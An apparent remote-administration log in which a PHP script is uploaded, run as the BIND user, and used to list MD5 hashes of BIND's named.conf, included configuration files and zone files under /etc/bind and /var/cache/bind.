MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-21 19:05:54: Establishing a connection
2026-04-21 19:05:55: 

PUT: /tmp/pkp637039

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-21 19:05:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp637039; rm /tmp/pkp637039'

2026-04-21 19:05:55: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
